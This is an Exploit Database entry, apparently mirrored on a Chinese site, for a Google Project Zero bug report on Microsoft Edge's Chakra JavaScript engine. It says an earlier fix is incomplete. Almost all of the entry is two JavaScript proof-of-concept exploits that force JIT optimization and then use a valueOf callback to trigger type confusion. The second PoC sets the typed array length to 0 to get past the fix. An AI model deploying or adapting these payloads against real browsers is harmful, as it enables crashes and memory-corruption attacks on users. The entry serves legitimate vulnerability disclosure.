Microsoft Edge Chakra – Incorrect JIT Optimization with TypedArray Setter #2

• Exploit Database
• 129 阅读

• 作者： Google Security Research
  日期： 2017-08-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42473/
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  <!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1290   I think the fix for #1045 is incorrect.   Here&apos;s the original PoC.   &apos;use strict&apos;;   function func(a, b, c) { a[0] = 1.2; b[0] = c; a[1] = 2.2; a[0] = 2.3023e-320; }   function main() { var a = [1.1, 2.2]; var b = new Uint32Array(100);   // force to optimize for (var i = 0; i < 0x10000; i++) func(a, b, i);   func(a, b, {valueOf: () => { a[0] = {};   return 0; }});   a[0].toString(); }   main();     I just changed "var b = new Uint32Array(100);" to "var b = new Uint32Array(0);", and it worked well.   PoC: -->   &apos;use strict&apos;;   function func(a, b, c) { a[0] = 1.2; b[0] = c; a[1] = 2.2; a[0] = 2.3023e-320; }   function main() { var a = [1.1, 2.2]; var b = new Uint32Array(0);// <<--------- 100 -> 0   // force to optimize for (var i = 0; i < 0x10000; i++) func(a, b, i);   func(a, b, {valueOf: () => { a[0] = {};   return 0; }});   a[0].toString(); }   main();